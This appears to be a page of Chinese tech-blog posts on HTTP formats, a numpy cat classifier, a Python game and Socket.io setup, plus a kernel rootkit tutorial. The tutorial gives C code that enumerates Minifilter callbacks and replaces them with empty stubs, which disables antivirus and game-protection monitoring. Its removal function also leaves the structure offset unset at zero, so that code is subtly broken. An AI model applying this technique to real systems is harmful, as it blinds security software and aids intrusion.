    <font color='blue'>传输协议:定义了客户端和服务器端通信时,发送数据的格式。</font>




    特点
    基于TCP/IP的高级协议默认端口号:80基于请求/响应模型的:一次请求对应一次响应
    无状态的:每次请求之间相互独立,不能交互数据
    网页中每一个文件都是一次单独的请求,几张图片,就是几次请求。如下图所示。

    <!--more-->

    历史版本http 0.9
    只有一个命令GET没有HEADER等描述数据的信息服务器发送完毕,就关闭TCP连接每一次请求响应都会建立新的连接
    http 1.0
    增加了很多命令,如status code和header多字符集支持、多部分发送、权限、缓存等
    http 1.1
    持久连接:keep-alive复用连接(较http1.0的每一次请求响应都会建立新的连接。好处:节约了连接的资源,提升了传输的速度。)提高性能的关键是低延迟而不是高带宽。较http1.0,对缓存的支持更好

    推送:主动发送js、css推送到浏览器。
    二进制流:可以并行发送数据。

    http 2.0
    所有数据以二进制传输同一个连接里面发送多个请求不再需要按顺序来头消息压缩以及推送等提高效率的功能所有的请求共用一个连接,可以更有效的使用tcp连接,通过带宽来提升http性能可以减少服务链接的压力,内存减少了,链接吞吐量大了解决浏览器连接数有限的问题资源合并减少请求的优化手段在http2.0来说是没有效果的
    请求信息数据 格式
    Servlet类中service()方法的参数ServletRequest字符串格式,比如:
    POST /login.html HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://localhost/login.htmlConnection: keep-aliveUpgrade-Insecure-Requests: 1username=zhangsan以下关于 <font color='blue'>请求信息数据格式</font> 的内容有缺省,详细见下一篇博客 《HTTP请求信息数据 - Request》 中。
    请求行
    格式:请求方式 请求url 请求协议/版本
    请求方式
    HTTP协议有7种请求协议,常用的有GET、POST两种<font color='orange'>GET</font>



    请求参数在请求行中,在url后请求的url长度有限制的不太安全(参数跟在url之后)浏览器控制台显示👇


    <font color='orange'>POST</font>



    请求参数在请求体中请求的url长度没有限制的相对安全(参数在请求体中)浏览器控制台显示👇

    请求url
    假设为 /login.html
    请求协议/版本
    HTTP/1.1
    请求头
    客户端浏览器告诉服务器一些信息格式:请求头名称 : 请求头值若有多个,则一行一个。
    常见的请求头
    Host
    User-Agent
    Referer
    Host
    请求的主机地址
    User-Agent
    浏览器告诉服务器,我访问你时候使用的浏览器版本信息作用:可以在服务器端获取该头的信息,解决浏览器的兼容性问题
    Referer
    比如上面几张图片的Referer是 http://localhost/login.html告诉服务器,我(当前请求)从哪里来?作用:防盗链、统计工作举个例子:我的网站想播放《战狼2》电影👇

    Connection
    keep-alivehttp1.1,表示该链接可以被复用
    请求空行
    就是一个空行(空白行)作用:分割POST请求的请求头和请求体
    请求体/请求正文
    封装POST请求信息的请求参数
    <br>下一篇博客 《HTTP请求信息数据 - Request》 中,详细学习了 请求信息数据 - Request。
    响应信息数据 格式
    Servlet类中service()方法的参数ServletResponse
    字符串数据,比如:

    HTTP/1.1 200 OKContent-Type: text/html;charset=UTF-8Content-Length: 101Date: Wed, 06 Jun 2018 07:08:42 GMT<html> <head> <title>$Title$</title> </head> <body> hello , response </body></html>响应行
    格式:协议/版本 响应状态码 状态码描述
    响应状态码
    服务器告诉客户端浏览器本次请求和响应的一个状态。
    特点
    状态码都是3位数字
    分类
    1xx:服务器就收客户端消息,但没有接受完成,等待一段时间后,发送1xx状态码2xx:成功。代表:
    200
    3xx:重定向。代表:
    302:重定向304:访问缓存
    4xx:客户端错误。代表:
    403:错误是一种在网站访问过程中,常见的错误提示,表示资源不可用。服务器理解客户的请求,但拒绝处理它,通常由于服务器上文件或目录的权限设置导致的WEB访问错误。 404:请求路径没有对应的资源405:请求方式没有对应的doXxx方法
    5xx:服务器端错误。代表:500(服务器内部出现异常)

    响应头
    格式:响应头名称 :值
    常见的响应头
    Content-TypeContent-disposition
    Content-Type
    服务器告诉客户端本次响应体数据格式以及编码格式
    Content-disposition
    服务器告诉客户端以什么格式打开响应体数据
    其值:
    in-line:默认值,在当前页面内打开
    attachment;filename=xxx:以附件形式打开响应体。涉及文件下载等功能。
    响应空行
    就是一个空行(空白行)作用:分割响应头和响应体
    响应体
    传输的数据文件、HTML网页源码等等。比如,
    <html> <head> <title>$Title$</title> </head> <body> hello , response </body></html><br>
    下下篇博客 《HTTP响应信息数据 - Response》 中,详细学习响应信息数据 - Response。
    1 留言 2020-03-21 15:03:30 奖励36点积分
  • Course1-神经网络和深度学习编程作业

    第一课第二周实现功能:这段代码主要实现的功能是判断一张图片是否有cat,实现的是二分类,有就为1,没有就为0。
    训练方法:BP网络,此代码很简单,没有隐藏层,直接就是输入层连着输出层,z=W’X+b,a=sigmoid(z) ,y=a故权值w是一维。(这一步体现在w = np.zeros(shape = (dim,1), dtype = np.float32))网络结构如下图所示:(实际输入不止x1,x2,x3。是x1,x2~~x12288.(个数是由图片64x64x3算出来的))

    BP算法
    基本思想:学习过程由信号的正向传播和误差的反向传播两个过程组成。(这一步体现在propagate()函数)
    数学工具:微积分的链式求导法则。
    求解最小化成本函数(cost function):梯度下降法。(这一步体现在optimize()函数)
    损失函数(Loss function):指单个训练样本进行预测的结果与实际结果的误差。
    代价函数(Cost function):整个训练集,所有样本误差总和(所有损失函数总和)的平均值。

    在开始之前,我们有需要引入的库:

    numpy :是用Python进行科学计算的基本软件包。
    h5py:是与H5文件中存储的数据集进行交互的常用软件包。
    matplotlib:是一个著名的库,用于在Python中绘制图表。
    lr_utils :课程提供的一个加载资料包里面的数据的简单功能的库。

    lr_utils.py代码如下:
    import numpy as npimport h5pydef load_dataset(): train_dataset = h5py.File('datasets/train_catvnoncat.h5', "r") train_set_x_orig = np.array(train_dataset["train_set_x"][:]) # your train set features train_set_y_orig = np.array(train_dataset["train_set_y"][:]) # your train set labels test_dataset = h5py.File('datasets/test_catvnoncat.h5', "r") test_set_x_orig = np.array(test_dataset["test_set_x"][:]) # your test set features test_set_y_orig = np.array(test_dataset["test_set_y"][:]) # your test set labels classes = np.array(test_dataset["list_classes"][:]) # the list of classes train_set_y_orig = train_set_y_orig.reshape((1, train_set_y_orig.shape[0])) test_set_y_orig = test_set_y_orig.reshape((1, test_set_y_orig.shape[0])) return train_set_x_orig, train_set_y_orig, test_set_x_orig, test_set_y_orig, classes释以下上面的load_dataset() 返回的值的含义:

    train_set_x_orig :保存的是训练集里面的图像数据(本训练集有209张64x64的图像)。
    train_set_y_orig :保存的是训练集的图像对应的分类值(【0 | 1】,0表示不是猫,1表示是猫)。
    test_set_x_orig :保存的是测试集里面的图像数据(本训练集有50张64x64的图像)。
    test_set_y_orig : 保存的是测试集的图像对应的分类值(【0 | 1】,0表示不是猫,1表示是猫)。
    classes : 保存的是以bytes类型保存的两个字符串数据,数据为:[b’non-cat’ b’cat’]。

    我们可以看一下我们加载的文件里面的图片都是些什么样子的,比如查看训练集里面的第26张图片。
    index = 25plt.imshow(train_set_x_orig[index])plt.show()#显示图片是只猫的图片现在我们可以结合一下训练集里面的数据来看一下到底都加载了一些什么东西。
    #打印出当前的训练标签值#使用np.squeeze的目的是压缩维度#【未压缩】train_set_y[:,index]的值为[1] , 【压缩后】np.squeeze(train_set_y[:,index])的值为1#print("【使用np.squeeze:" + str(np.squeeze(train_set_y[:,index])) + "#不使用np.squeeze: " + str(train_set_y[:,index]) + "】")#只有压缩后的值才能进行解码操作print("y=" + str(train_set_y[:,index]) + ", it's a " + classes[np.squeeze(train_set_y[:,index])].decode("utf-8") + "' picture")打印出的结果是:y=[1], it’s a cat’ picture,参数解释:

    m_train :训练集里图片的数量。
    m_test :测试集里图片的数量。
    num_px : 训练、测试集里面的图片的宽度和高度(均为64x64)。

    记住:trainset_x_orig 是一个维度为(m\​​train,num_px,num_px,3)的数组。
    m_train = train_set_y.shape[1] #训练集里图片的数量。m_test = test_set_y.shape[1] #测试集里图片的数量。num_px = train_set_x_orig.shape[1] #训练、测试集里面的图片的宽度和高度(均为64x64)。#现在看一看我们加载的东西的具体情况print ("训练集的数量: m_train = " + str(m_train))print ("测试集的数量 : m_test = " + str(m_test))print ("每张图片的宽/高 : num_px = " + str(num_px))print ("每张图片的大小 : (" + str(num_px) + ", " + str(num_px) + ", 3)")print ("训练集_图片的维数 : " + str(train_set_x_orig.shape))print ("训练集_标签的维数 : " + str(train_set_y.shape))print ("测试集_图片的维数: " + str(test_set_x_orig.shape))print ("测试集_标签的维数: " + str(test_set_y.shape))运行结果:
    训练集的数量: m_train = 209测试集的数量 : m_test = 50每张图片的宽/高 : num_px = 64每张图片的大小 : (64, 64, 3)训练集_图片的维数 : (209, 64, 64, 3)训练集_标签的维数 : (1, 209)测试集_图片的维数: (50, 64, 64, 3)测试集_标签的维数: (1, 50)为了方便,我们要把维度为(64,64,3)的numpy数组重新构造为(64 x 64 x 3,1)的数组,要乘以3的原因是每张图片是由64x64像素构成的,而每个像素点由(R,G,B)三原色构成的,所以要乘以3。从此,训练和测试的数据集是一个numpy数组,每列代表一个平坦的图像,应该有m_train和m_test列。
    当你想将形状(a,b,c,d)的矩阵X平铺成形状(bxcxd,a)的矩阵X_flatten时,可以使用以下代码:
    #X_flatten = X.reshape(X.shape [0],-1).T #X.T是X的转置#将训练集的维度降低并转置。train_set_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0],-1).T#将测试集的维度降低并转置。test_set_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T这一段意思是指把数组变为209行的矩阵(因为训练集里有209张图片),但是不知道列有多少,于是我就用-1告诉程序帮我算,最后程序算出来时12288列,我再最后用一个T表示转置,这就变成了12288行,209列。测试集亦如此。
    然后我们看看降维之后的情况是怎么样的:
    print ("训练集降维最后的维度: " + str(train_set_x_flatten.shape))print ("训练集_标签的维数 : " + str(train_set_y.shape))print ("测试集降维之后的维度: " + str(test_set_x_flatten.shape))print ("测试集_标签的维数 : " + str(test_set_y.shape))执行之后的结果为:
    训练集降维最后的维度: (12288, 209)训练集_标签的维数 : (1, 209)测试集降维之后的维度: (12288, 50)测试集_标签的维数 : (1, 50)为了表示彩色图像,必须为每个像素指定红色,绿色和蓝色通道(RGB),因此像素值实际上是从0到255范围内的三个数字的向量。机器学习中一个常见的预处理步骤是对数据集进行居中和标准化,这意味着可以减去每个示例中整个numpy数组的平均值,然后将每个示例除以整个numpy数组的标准偏差。但对于图片数据集,它更简单,更方便,几乎可以将数据集的每一行除以255(像素通道的最大值),因为在RGB中不存在比255大的数据,所以我们可以放心的除以255,让标准化的数据位于[0,1]之间,现在标准化我们的数据集:
    train_set_x = train_set_x_flatten / 255test_set_x = test_set_x_flatten / 255
    至此,已经把加载的数据集弄好了。

    现在开始构建神经网络。

    建立神经网络的主要步骤是:

    定义模型结构(例如输入特征的数量)
    初始化模型的参数
    循环: (1)计算当前损失(正向传播) (2)计算当前梯度(反向传播) (3)更新参数(梯度下降)

    现在构建sigmoid(),需要使用 sigmoid(w ^ T x + b)计算来做出预测。
    #定义激励函数def sigmoid(z): s = 1/(1 + np.exp(-z)) return s初始化我们需要的参数w和b。
    def initialize_with_zeros(dim): """ 此函数为w创建一个维度为(dim,1)的0向量,并将b初始化为0。 参数: dim - 我们想要的w矢量的大小(或者这种情况下的参数数量) 返回: w - 维度为(dim,1)的初始化向量。 b - 初始化的标量(对应于偏差) """ w = np.zeros(shape = (dim,1)) b = 0 #使用断言来确保我要的数据是正确的 assert(w.shape == (dim, 1)) #w的维度是(dim,1) assert(isinstance(b, float) or isinstance(b, int)) #b的类型是float或者是int return (w , b)初始化参数的函数已经构建好了,现在就可以执行“前向”和“后向”传播步骤来学习参数。
    def propagate(w, b, X, Y): """ 实现前向和后向传播的成本函数及其梯度。 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 矩阵类型为(num_px * num_px * 3,训练数量) Y - 真正的“标签”矢量(如果非猫则为0,如果是猫则为1),矩阵维度为(1,训练数据数量) 返回: cost- 逻辑回归的负对数似然成本 dw - 相对于w的损失梯度,因此与w相同的形状 db - 相对于b的损失梯度,因此与b的形状相同 """ m = X.shape[1] #正向传播 A = sigmoid(np.dot(w.T,X) + b) #计算激活值,请参考公式2。 cost = (- 1 / m) * np.sum(Y * np.log(A) + (1 - Y) * (np.log(1 - A))) #计算成本. #反向传播 dw = (1 / m) * np.dot(X, (A - Y).T) #请参考视频中的偏导公式。 db = (1 / m) * np.sum(A - Y) #请参考视频中的偏导公式。 #使用断言确保我的数据是正确的 assert(dw.shape == w.shape) assert(db.dtype == float) cost = np.squeeze(cost) assert(cost.shape == ()) #创建一个字典,把dw和db保存起来。 grads = { "dw": dw, "db": db } return (grads , cost)现在,我要使用渐变下降更新参数,目标是通过最小化成本函数J来学习w和b。
    def optimize(w , b , X , Y , num_iterations , learning_rate , print_cost = False): """ 此函数通过运行梯度下降算法来优化w和b 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 维度为(num_px * num_px * 3,训练数据的数量)的数组。 Y - 真正的“标签”矢量(如果非猫则为0,如果是猫则为1),矩阵维度为(1,训练数据的数量) num_iterations - 优化循环的迭代次数 learning_rate - 梯度下降更新规则的学习率 print_cost - 每100步打印一次损失值 返回: params - 包含权重w和偏差b的字典 grads - 包含权重和偏差相对于成本函数的梯度的字典 成本 - 优化期间计算的所有成本列表,将用于绘制学习曲线。 提示: 我们需要写下两个步骤并遍历它们: 1)计算当前参数的成本和梯度,使用propagate()。 2)使用w和b的梯度下降法则更新参数。 """ costs = [] for i in range(num_iterations): grads, cost = propagate(w, b, X, Y) dw = grads["dw"] db = grads["db"] w = w - learning_rate * dw b = b - learning_rate * db #记录成本 if i % 100 == 0: costs.append(cost) #打印成本数据 if (print_cost) and (i % 100 == 0): print("迭代的次数: %i , 误差值: %f" % (i,cost)) params = { "w" : w, "b" : b } grads = { "dw": dw, "db": db } return (params , grads , costs)现在我们要实现预测函数predict()。

    def predict(w , b , X ): """ 使用学习逻辑回归参数logistic (w,b)预测标签是0还是1, 参数: w - 权重,大小不等的数组(num_px * num_px * 3,1) b - 偏差,一个标量 X - 维度为(num_px * num_px * 3,训练数据的数量)的数据 返回: Y_prediction - 包含X中所有图片的所有预测【0 | 1】的一个numpy数组(向量) """ m = X.shape[1] #图片的数量 Y_prediction = np.zeros((1,m)) w = w.reshape(X.shape[0],1) #计预测猫在图片中出现的概率 A = sigmoid(np.dot(w.T , X) + b) for i in range(A.shape[1]): #将概率a [0,i]转换为实际预测p [0,i] Y_prediction[0,i] = 1 if A[0,i] > 0.5 else 0 #使用断言 assert(Y_prediction.shape == (1,m)) return Y_prediction就目前而言,我们基本上把所有的东西都做完了,现在我们要把这些函数统统整合到一个model()函数中,届时只需要调用一个model()就基本上完成所有的事了。
    def model(X_train , Y_train , X_test , Y_test , num_iterations = 2000 , learning_rate = 0.5 , print_cost = False): """ 通过调用之前实现的函数来构建逻辑回归模型 参数: X_train - numpy的数组,维度为(num_px * num_px * 3,m_train)的训练集 Y_train - numpy的数组,维度为(1,m_train)(矢量)的训练标签集 X_test - numpy的数组,维度为(num_px * num_px * 3,m_test)的测试集 Y_test - numpy的数组,维度为(1,m_test)的(向量)的测试标签集 num_iterations - 表示用于优化参数的迭代次数的超参数 learning_rate - 表示optimize()更新规则中使用的学习速率的超参数 print_cost - 设置为true以每100次迭代打印成本 返回: d - 包含有关模型信息的字典。 """ w , b = initialize_with_zeros(X_train.shape[0]) parameters , grads , costs = optimize(w , b , X_train , Y_train,num_iterations , learning_rate , print_cost) #从字典“参数”中检索参数w和b w , b = parameters["w"] , parameters["b"] #预测测试/训练集的例子 Y_prediction_test = predict(w , b, X_test) Y_prediction_train = predict(w , b, X_train) #打印训练后的准确性 print("训练集准确性:" , format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100) ,"%") print("测试集准确性:" , format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100) ,"%") d = { "costs" : costs, "Y_prediction_test" : Y_prediction_test, "Y_prediciton_train" : Y_prediction_train, "w" : w, "b" : b, "learning_rate" : learning_rate, "num_iterations" : num_iterations } return d绘制学习效率曲线图。
    costs = np.squeeze(d['costs'])plt.plot(costs)plt.ylabel('cost')plt.xlabel('iterations (per hundreds)')plt.title("Learning rate =" + str(d["learning_rate"]))plt.show()
    1 留言 2020-05-03 19:48:11 奖励36点积分
  • 枚举并删除系统上Minifilter回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 Minifilter 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    函数介绍FltEnumerateFilters 函数
    列举系统中所有注册的 Minifilter 驱动程序。
    函数声明
    NTSTATUS FltEnumerateFilters( _Out_ PFLT_FILTER *FilterList, _In_ ULONG FilterListSize, _Out_ PULONG NumberFiltersReturned);
    参数

    FilterList [out]指向调用者分配的缓冲区的指针,该缓冲区接收不透明的过滤器指针数组。此参数是可选的,如果FilterListSize参数的值为零,则该参数可以为NULL。如果FilterListSize在输入上为零,并且FilterList为NULL,则NumberFiltersReturned参数将接收找到的 Minifilter 驱动程序的数量。FilterListSize [in]FilterList参数指向的缓冲区可以容纳的不透明过滤器指针数。该参数是可选的,可以为零。如果FilterListSize在输入上为零,并且FilterList为NULL,则NumberFiltersReturned参数将接收找到的 Minifilter 驱动程序的数量。NumberFiltersReturned [out]指向调用者分配的变量,该变量接收FilterList参数指向的数组中返回的不透明过滤器指针数。如果FilterListSize参数值太小,并且FilterList在输入上不为NULL,FltEnumerateFilters将返回STATUS_BUFFER_TOO_SMALL,并将NumberFiltersReturn设置为指向找到的minifilter驱动程序的数量。此参数是必需的,不能为NULL。
    返回值

    成功,则返回 STATUS_SUCCESS;失败,则返回其它 NTSTATUS 错误码。

    实现原理枚举 Minifilter 驱动程序的回调,并不像枚举进程回调、线程回调、模块加载回调、注册表回调、对象回调那样,需要我们自己逆向寻找数组或是链表的地址,因为,Minifilter 驱动程序提供了 FltEnumerateFilters 内核函数给我们,用来获取系统上所有注册成功的 Minifilter 回调。
    FltEnumerateFilters 函数可以获取系统上所有注册成功的 Minifilter 的过滤器对象指针数组 PFLT_FILTER *。PFLT_FILTER 数据类型在不同的系统上,它的定义是不同的。下面是我们使用 WinDbg 获取 Win10 x64 上的结构定义:
    lkd> dt fltmgr!_FLT_FILTER +0x000 Base : _FLT_OBJECT +0x030 Frame : Ptr64 _FLTP_FRAME +0x038 Name : _UNICODE_STRING +0x048 DefaultAltitude : _UNICODE_STRING +0x058 Flags : _FLT_FILTER_FLAGS +0x060 DriverObject : Ptr64 _DRIVER_OBJECT +0x068 InstanceList : _FLT_RESOURCE_LIST_HEAD +0x0e8 VerifierExtension : Ptr64 _FLT_VERIFIER_EXTENSION +0x0f0 VerifiedFiltersLink : _LIST_ENTRY +0x100 FilterUnload : Ptr64 long +0x108 InstanceSetup : Ptr64 long +0x110 InstanceQueryTeardown : Ptr64 long +0x118 InstanceTeardownStart : Ptr64 void +0x120 InstanceTeardownComplete : Ptr64 void +0x128 SupportedContextsListHead : Ptr64 _ALLOCATE_CONTEXT_HEADER +0x130 SupportedContexts : [7] Ptr64 _ALLOCATE_CONTEXT_HEADER +0x168 PreVolumeMount : Ptr64 _FLT_PREOP_CALLBACK_STATUS +0x170 PostVolumeMount : Ptr64 _FLT_POSTOP_CALLBACK_STATUS +0x178 GenerateFileName : Ptr64 long +0x180 NormalizeNameComponent : Ptr64 long +0x188 NormalizeNameComponentEx : Ptr64 long +0x190 NormalizeContextCleanup : Ptr64 void +0x198 KtmNotification : Ptr64 long +0x1a0 SectionNotification : Ptr64 long +0x1a8 Operations : Ptr64 _FLT_OPERATION_REGISTRATION +0x1b0 OldDriverUnload : Ptr64 void +0x1b8 ActiveOpens : _FLT_MUTEX_LIST_HEAD +0x208 ConnectionList : _FLT_MUTEX_LIST_HEAD +0x258 PortList : _FLT_MUTEX_LIST_HEAD +0x2a8 PortLock : _EX_PUSH_LOCK
    其中,成员 Operations 就存储着 Minifilter 过滤器对象对应的回调信息,数据类型是 FLT_OPERATION_REGISTRATION,该结构是固定的。在头文件 fltKernel.h 里有 FLT_OPERATION_REGISTRATION 结构体定义:
    typedef struct _FLT_OPERATION_REGISTRATION { UCHAR MajorFunction; FLT_OPERATION_REGISTRATION_FLAGS Flags; PFLT_PRE_OPERATION_CALLBACK PreOperation; PFLT_POST_OPERATION_CALLBACK PostOperation; PVOID Reserved1;} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;
    从结构体里面可知,从中可获取 Minifilter 驱动程序的消息类型 MajorFunction,操作前回调函数地址 PreOperation,操作后回调函数地址 PostOperation 等信息。
    所以,遍历系统上所有的 Minifilter 回调,原理就是:

    调用 FltEnumerateFilters 内核函数获取系统上注册成功的 Minifilter 驱动程序的过滤器对象指针数组 PFLT_FILTER *。然后,我们遍历过滤器对象指针 PFLT_FILTER,从中可以获取 Operations 成员的数据,数据类型为 FLT_OPERATION_REGISTRATION,可以从中获取 Minifilter 回调信息。
    要注意的是,由于不同的系统,FLT_FILTER 数据结构的定义都不相同,所以成员 Operations 在数据结构中的偏移也是不固定的。下面是我使用 WinDbg 逆向各个系统中 FLT_FILTER 的数据结构定义,总结出来的 Operations 偏移大小:




    Win 7
    Win 8.1
    Win 10




    32 位
    0xCC
    0xD4
    0xE4


    64 位
    0x188
    0x198
    0x1A8



    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。其中,我们不能调用 FltUnregisterFilter 函数删除 Minifilter 回调,因为微软规定 FltUnregisterFilter 函数只能在 Minifilter 自身的驱动程序中调用,不能在其它的驱动程序中调用使用。所以,要删除回调函数可以有 2 种方式。

    直接修改 FLT_OPERATION_REGISTRATION 数据结构中的操作前回调函数和操作后回调函数的地址数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数。修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作。
    编码实现声明头文件 fltKernel.h:
    #include <fltKernel.h>
    导入库文件 FltMgr.lib:
    右击项目“属性” --> 链接器 --> 输入 --> 在“附加依赖项”中添加 FltMgr.lib。
    遍历 Minifilter 回调// 遍历回调BOOLEAN EnumCallback(){ NTSTATUS status = STATUS_SUCCESS; ULONG ulFilterListSize = 0; PFLT_FILTER *ppFilterList = NULL; ULONG i = 0; LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; // 获取 Minifilter 过滤器Filter 的数量 FltEnumerateFilters(NULL, 0, &ulFilterListSize); // 申请内存 ppFilterList = (PFLT_FILTER *)ExAllocatePool(NonPagedPool, ulFilterListSize *sizeof(PFLT_FILTER)); if (NULL == ppFilterList) { DbgPrint("ExAllocatePool Error!\n"); return FALSE; } // 获取 Minifilter 中所有过滤器Filter 的信息 status = FltEnumerateFilters(ppFilterList, ulFilterListSize, &ulFilterListSize); if (!NT_SUCCESS(status)) { DbgPrint("FltEnumerateFilters Error![0x%X]\n", status); return FALSE; } DbgPrint("ulFilterListSize=%d\n", ulFilterListSize); // 获取 PFLT_FILTER 中 Operations 偏移 lOperationsOffset = GetOperationsOffset(); if (0 == lOperationsOffset) { DbgPrint("GetOperationsOffset Error\n"); return FALSE; } // 开始遍历 Minifilter 中各个过滤器Filter 的信息 __try { for (i = 0; i < ulFilterListSize; i++) { // 获取 PFLT_FILTER 中 Operations 成员地址 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)ppFilterList[i] + lOperationsOffset)); __try { // 同一过滤器下的回调信息 DbgPrint("-------------------------------------------------------------------------------\n"); while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) { if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 { // 显示 DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", ppFilterList[i], pFltOperationRegistration->MajorFunction, pFltOperationRegistration->PreOperation, pFltOperationRegistration->PostOperation); } // 获取下一个消息回调信息 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); } DbgPrint("-------------------------------------------------------------------------------\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[2_EXCEPTION_EXECUTE_HANDLER]\n"); } } } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[1_EXCEPTION_EXECUTE_HANDLER]\n"); } // 释放内存 ExFreePool(ppFilterList); ppFilterList = NULL; return TRUE;}
    移除 Minifilter 回调// 移除回调NTSTATUS RemoveCallback(PFLT_FILTER pFilter){ LONG lOperationsOffset = 0; PFLT_OPERATION_REGISTRATION pFltOperationRegistration = NULL; // 开始遍历 过滤器Filter 的信息 // 获取 PFLT_FILTER 中 Operations 成员地址 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)(*(PVOID *)((PUCHAR)pFilter + lOperationsOffset)); __try { // 同一过滤器下的回调信息 while (IRP_MJ_OPERATION_END != pFltOperationRegistration->MajorFunction) { if (IRP_MJ_MAXIMUM_FUNCTION > pFltOperationRegistration->MajorFunction) // MajorFunction ID Is: 0~27 { // 替换回调函数 pFltOperationRegistration->PreOperation = New_MiniFilterPreOperation; pFltOperationRegistration->PostOperation = New_MiniFilterPostOperation; // 显示 DbgPrint("[Filter=%p]IRP=%d, PreFunc=0x%p, PostFunc=0x%p\n", pFilter, pFltOperationRegistration->MajorFunction, pFltOperationRegistration->PreOperation, pFltOperationRegistration->PostOperation); } // 获取下一个消息回调信息 pFltOperationRegistration = (PFLT_OPERATION_REGISTRATION)((PUCHAR)pFltOperationRegistration + sizeof(FLT_OPERATION_REGISTRATION)); } } __except (EXCEPTION_EXECUTE_HANDLER) { DbgPrint("[EXCEPTION_EXECUTE_HANDLER]\n"); } return STATUS_SUCCESS;}
    获取 Operations 偏移// 获取 Operations 偏移LONG GetOperationsOffset(){ RTL_OSVERSIONINFOW osInfo = { 0 }; LONG lOperationsOffset = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 0x188 lOperationsOffset = 0x188;#else // 32 位 // 0xCC lOperationsOffset = 0xCC;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 0x198 lOperationsOffset = 0x198;#else // 32 位 // 0xD4 lOperationsOffset = 0xD4;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 0x1A8 lOperationsOffset = 0x1A8;#else // 32 位 // 0xE4 lOperationsOffset = 0xE4;#endif } return lOperationsOffset;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结我们可以调用 FltEnumerateFilters 来获取系统上所有 Minifilter 驱动程序的过滤器对象,并从中 PFLT_FILTER 经过一定的偏移获取 Operations 成员数据,里面存储着回调信息。其中,不同统统的 FLT_FILTER 定义都不同,所以,Operations 成员的偏移也不相同。大家也不用记忆这些偏移大小,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    删除回调常用就有 2 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2019-05-20 15:55:10 奖励16点积分
  • python制作海底飞行棋(含源码)

    飞行棋玩过吗?玩过python制作的海底飞行棋玩过吗?额。。。。。。
    今天就来教制作海底飞行棋
    核心玩法两名玩家通过→和←操控游戏角色,最终全部到达终点,(本游戏适合全年龄段,不要太较真)谁的分数越高谁就获胜
    主要代码思想实现游戏角色移动,分数,分数判断
    在游戏中,设立三个游戏状态

    start 开始running 运行game——over 游戏结束
    三个状态都很重要,对于制作游戏有很大帮助
    要依次根据玩家操作变换
    其次就是鼠标和键盘的按下事件
    没有这一步,游戏就变成了动画片,不能控制,就看着它运行
    而且这一步很容易报错,因为代码量多
    最后就是完成所有的调用
    一切完成后就OK了
    1 留言 2020-02-24 20:18:52 奖励46点积分
  • 【Cocos Creator 联机实战教程(1)】——初识Socket.io 精华

    1.Socket.io简介Socket.io是一个实时通信的跨平台的框架
    1.1 websocket 和 socket.io 之间的区别是什么socket.io封装了websocket,同时包含了其它的连接方式,比如Ajax。原因在于不是所有的浏览器都支持websocket,通过socket.io的封装,你不用关心里面用了什么连接方式。你在任何浏览器里都可以使用socket.io来建立异步的连接。socket.io包含了服务端和客户端的库,如果在浏览器中使用了socket.io的js,服务端也必须同样适用。如果你很清楚你需要的就是websocket,那可以直接使用websocket。
    2. 服务器端Windows安装Node.js Express Socket.io2.1 下载Node.js官网下载最新版http://nodejs.cn/
    2.2 打开cmd2.2.1 下载Express
    npm install -g express

    2.2.2 下载Socket.io
    npm install -g socket.io


